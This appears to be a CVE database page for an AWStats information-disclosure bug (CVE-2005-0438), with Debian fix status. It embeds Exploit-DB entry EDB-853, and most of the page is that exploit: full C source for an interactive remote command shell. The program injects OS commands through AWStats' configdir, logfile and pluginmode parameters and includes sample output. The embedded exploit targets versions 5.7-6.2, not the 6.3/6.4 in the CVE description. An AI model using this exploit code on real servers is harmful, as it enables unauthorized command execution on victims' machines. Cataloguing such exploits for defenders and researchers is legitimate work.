CVE-2005-0438

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

awstats.pl in AWStats 6.3 and 6.4 allows remote attackers to obtain sensitive information by setting the debug parameter.

Predictions

Exploit likelihood
20%
Patch ETA

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Exploits

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Exploit-DB

EDB-853 webapps cgi verified text · 6 KB
omin0us · 2005-03-02

AWStats 5.7 < 6.2 - Multiple Remote s

text exploit Source: Exploit-DB
/*
 * Awstats exploit "shell" 
 * code by omin0us
 * omin0us208 [at] gmail [dot] com
 * dtors security group
 * .:( http://dtors.ath.cx ):.
 *
 * Vulnerability reported by iDEFENSE
 * pluginmode bug has been found by GHC team.
 *
 * The awstats exploit that was discovered allows
 * a user to execute arbitrary commands on the 
 * remote server with the privileges of the httpd 
 *
 * This exploit combines all three methods of exploitation
 * and acts as a remote "shell", parsing all returned 
 * data to display command output and running in a loop
 * for continuous access.
 * 
 * bash-2.05b$ awstats_shell localhost                                     
 * Awstats 5.7 - 6.2 exploit Shell 0.1
 * code by omin0us
 * dtors security group
 * .: http://dtors.ath.cx :.
 * --------------------------------------
 * select exploit method:
 *        1. ?configdir=|cmd}
 *        2. ?update=1&logfile=|cmd|
 *        3. ?pluginmode=:system("cmd");
 *
 * method [1/2/3]? 1
 * starting shell...
 * (ctrl+c to exit)
 * sh3ll> id
 * uid=80(www) gid=80(www) groups=80(www)
 * DTORS_STOP
 * sh3ll> uname -a
 *
 * FreeBSD omin0us.dtors.ath.cx 4.8-RELEASE FreeBSD 4.8-RELEASE #3: Mon Oct 11 
 * 19:34:01 EDT 2004     omin0us@localhost:/usr/src/sys/compile/DTORS  i386
 * DTORS_STOP
 * sh3ll>
 *
 * this is licensed under the GPL
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80
#define CMD_BUFFER 512
#define IN_BUFFER 10000
#define MAGIC_START "DTORS_START"
#define MAGIC_STOP  "DTORS_STOP"

void usage(char *argv[]);

int main(int argc, char *argv[]){

	FILE *output;
	int sockfd;
	struct sockaddr_in addr;
	struct hostent *host;
	char *host_name=NULL, *awstats_dir=NULL;
	char cmd[CMD_BUFFER], cmd_url[CMD_BUFFER*3], incoming[IN_BUFFER], tmp, c, cli_opt;
	int i, j, flag, method, verbose=0;

	
	if(argc < 2){
		usage(argv);
	}
	
	printf("Awstats 5.7 - 6.2 exploit Shell 0.1\n");	
	printf("code by omin0us\n");
	printf("dtors security group\n");
	printf(".: http://dtors.ath.cx :.\n");
    printf("--------------------------------------\n");

	while(1){
		cli_opt = getopt(argc, argv, "h:d:v");

		if(cli_opt < 0)
			break;

		switch(cli_opt){
			case 'v':
				verbose = 1;
				break;
			case 'd':
				awstats_dir = optarg;
				break;
		}
	}

	if((optind >= argc) || (strcmp(argv[optind], "-") == 0)){
		printf("Please specify a Host\n");
		usage(argv);
	}

	if(!awstats_dir){
		awstats_dir = "/cgi-bin/awstats.pl";
	}
	
	printf("select exploit method:\n"
	       "\t1. ?configdir=|cmd}\n"
	       "\t2. ?update=1&logfile=|cmd|\n"
	       "\t3. ?pluginmode=:system(\"cmd\");\n");
	while(method != '1' && method != '2' && method != '3'){
		printf("\nmethod [1/2/3]? ");
		method = getchar();
	}

	printf("starting shell...\n(ctrl+c to exit)\n");
		
	
while(1){
	i=0;
	j=0;
	memset(cmd, 0, CMD_BUFFER);
	memset(cmd_url, 0, CMD_BUFFER*3);
	memset(incoming, 0, IN_BUFFER);
	
	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
		printf("Error creating socket\n");
		exit(1);
	}

	if((host = gethostbyname(argv[optind])) == NULL){
		printf("Could not resolv host\n");
		exit(1);
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(PORT);
	addr.sin_addr = *((struct in_addr *)host->h_addr);

	printf("sh3ll> ");
	fgets(cmd, CMD_BUFFER-1, stdin);
	
	if(verbose)	
		printf("Connecting to %s (%s)...\n", host->h_name, inet_ntoa(*((struct in_addr *)host->h_addr)));

	if( connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) != 0){
		printf("Count not connect to host\n");
		exit(1);
	}

	output = fdopen(sockfd, "a");
	setbuf(output, NULL);

	cmd[strlen(cmd)-1] = '\0';
	if(strlen(cmd) == 0){
		cmd[0]='i';
		cmd[1]='d';
		cmd[3]='\0';
	}

	for(i=0; i<strlen(cmd); i++){
		c = cmd[i];
		if(c == ' '){
			cmd_url[j++] = '%';
			cmd_url[j++] = '2';
			cmd_url[j++] = '0';
		}
		else{
			cmd_url[j++] = c;
		}
	}
	cmd_url[j] = '\0';

	if(method == '1'){
		if(verbose){
			printf("Sending Request\n");	
			printf("GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
		}
	
		fprintf(output, "GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
	}

	if(method == '2'){
		if(verbose){
			printf("Sending Request\n");
			printf("GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
		}
		fprintf(output, "GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
	}

	if(method == '3'){
		if(verbose){
			printf("Sending Request\n");
			printf("GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\"); HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Host: %s\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP, argv[optind]);
		}
		fprintf(output, "GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\"); HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Host: %s\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP, argv[optind]);
	}


	i=0;
	while(strstr(incoming, MAGIC_START) == NULL){
		flag = read(sockfd, &tmp, 1);
		incoming[i++] = tmp;

		if(i >= IN_BUFFER){
			printf("flag [-] incoming buffer full\n");
			exit(1);
		}
		if(flag==0){
			printf("exploitation of host failed\n");
			exit(1);
		}
	}
	
	while(strstr(incoming, MAGIC_STOP) == NULL){
		read(sockfd,&tmp,1);
		incoming[i++] = tmp;
		putchar(tmp);
		if(i >= IN_BUFFER){
			printf("putchar [-] incoming buffer full\n");
			exit(1);
		}
	}
	printf("\n");
	
	shutdown(sockfd, SHUT_WR);
	close(sockfd);
	fclose(output);
	}
	return(0);
}

void usage(char *argv[]){
        printf("Usage: %s [options] <host>\n" , argv[0]);
        printf("Options:\n");
        printf("    -d <awstats_dir>     directory of awstats script\n");
        printf("                         '/cgi-bin/awstats.pl' is default\n");
        printf("                         if no directory is specified\n\n");
        printf("    -v                   verbose mode (optional)\n\n");
        printf("example: %s -d /stats/awstats.pl website.com\n\n", argv[0]);
        exit(1);
}	

// milw0rm.com [2005-03-02]

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 6.3-1
sid Fixed 6.3-1
forky Fixed 6.3-1
bullseye Fixed 6.3-1
bookworm Fixed 6.3-1

References

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